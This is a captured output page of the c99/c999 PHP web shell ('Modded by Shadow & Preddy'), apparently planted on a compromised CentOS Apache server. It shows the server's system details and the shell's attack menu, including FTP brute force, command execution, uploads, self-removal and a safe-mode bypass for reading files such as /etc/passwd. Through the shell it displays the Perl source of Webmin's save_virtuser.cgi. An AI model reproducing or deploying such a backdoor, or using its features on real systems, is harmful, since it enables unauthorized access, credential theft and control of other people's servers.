!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sendmail/   drwxr-xr-x
Free 49.59 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_virtuser.cgi (2.81 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_virtuser.cgi
# Save, create or delete an address mapping

require './sendmail-lib.pl';
require './virtusers-lib.pl';
&ReadParse();
$access{'vmode'} > 0 || &error($text{'vsave_ecannot'});
$conf = &get_sendmailcf();
$vfile = &virtusers_file($conf);
&lock_file($vfile);
($vdbm, $vdbmtype) = &virtusers_dbm($conf);
@virts = &list_virtusers($vfile);
foreach $vu (@virts) { $already{$vu->{'from'}}++; }
if (!$in{'new'}) {
    $v = $virts[$in{'num'}];
    &can_edit_virtuser($v) || &error($text{'vsave_ecannot2'});
    }
elsif ($access{'vmax'}) {
    local @cvirts =
        grep { $access{"vedit_".&virt_type($_->{'to'})} } @virts;
    if ($access{'vmode'} == 2) {
        @cvirts = grep { $_->{'from'} =~ /$access{'vaddrs'}/ } @cvirts;
        }
    elsif ($access{'vmode'} == 3) {
        @cvirts = grep { $_->{'from'} =~ /^$remote_user\@/ } @cvirts;
        }
    &error(&text('vsave_emax', $access{'vmax'}))
        if (@cvirts >= $access{'vmax'});
    }

if ($in{'delete'}) {
    # delete some mapping
    $logv = $v;
    &delete_virtuser($v, $vfile, $vdbm, $vdbmtype);
    }
else {
    # Saving or creating.. check inputs
    &error_setup($text{'vsave_err'});
    if ($in{'from_type'} == 0 || !$access{'vcatchall'}) {
        $in{'from_addr'} =~ /^(\S+)\@(\S+)$/ ||
            &error(&text('vsave_efrom', $in{'from_addr'}));
        $from = $in{'from_addr'};
        if ($already{$from} && ($in{'new'} || $v->{'from'} ne $from)) {
            &error(&text('vsave_efromdup', $in{'from_addr'}));
            }
        }
    else {
        $in{'from_dom'} =~ /^([^\@ ]+)$/ ||
            &error(&text('vsave_edom', $in{'from_dom'}));
        $from = "\@$in{'from_dom'}";
        if ($already{$from} && ($in{'new'} || $v->{'from'} ne $from)) {
            &error(&text('vsave_edomdup', $in{'from_dom'}));
            }
        }
    if ($access{'vmode'} == 2) {
        $from =~ /$access{'vaddrs'}/ ||
            &error(&text('vsave_ematch', $access{'vaddrs'}));
        }
    elsif ($access{'vmode'} == 3) {
        $from =~ /^$remote_user\@/ || &error($text{'vsave_esame'});
        }
    if ($in{'to_type'} == 2) {
        $access{"vedit_2"} ||
            &error($text{'vsave_ecannot3'});
        $in{'to_addr'} =~ /^([^\s,]+)$/ ||
            &error(&text('vsave_eaddr', $in{'to_addr'}));
        $to = $in{'to_addr'};
        }
    elsif ($in{'to_type'} == 1) {
        $access{"vedit_1"} ||
            &error($text{'vsave_ecannot4'});
        $in{'to_dom'} =~ /^([^\@ ]+)$/ ||
            &error(&text('vsave_edom', $in{'to_dom'}));
        $in{'from_type'} == 1 ||
            &error($text{'vsave_edomdom'});
        $to = "\%1\@$in{'to_dom'}";
        }
    else {
        $access{"vedit_0"} ||
            &error($text{'vsave_ecannot5'});
        $to = "error:$in{'to_code'} $in{'to_error'}";
        }

    $newv{'from'} = $from;
    $newv{'to'} = $to;
    $newv{'cmt'} = $in{'cmt'};
    if ($in{'new'}) { &create_virtuser(\%newv, $vfile, $vdbm, $vdbmtype); }
    else { &modify_virtuser($v, \%newv, $vfile, $vdbm, $vdbmtype); }
    $logv = \%newv;
    }
&unlock_file($vfile);
&webmin_log($in{'delete'} ? 'delete' : $in{'new'} ? 'create' : 'modify',
        "virtuser", $logv->{'from'}, $logv);
&redirect("list_virtusers.cgi");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]--